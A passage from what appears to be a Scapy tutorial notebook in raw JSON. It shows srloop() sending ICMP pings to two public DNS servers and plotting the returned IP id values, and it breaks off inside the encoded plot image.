"output_type": "pyout", "prompt_number": 79, "text": [ " an= ns=None ar=None |>" ] } ], "prompt_number": 79 }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Visualization\n", "Parts of the following examples require the [matplotlib](http://matplotlib.org/) module." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With `srloop()`, we can send 100 ICMP packets to 8.8.8.8 and 8.8.4.4." ] }, { "cell_type": "code", "collapsed": false, "input": [ "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [] } ], "prompt_number": 25 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then we can use the results to plot the IP id values." ] }, { "cell_type": "code", "collapsed": false, "input": [ "%matplotlib inline\n", "ans.multiplot(lambda (x, y): (y[IP].src, (y.time, y[IP].id)), plot_xy=True)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "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\nzaxd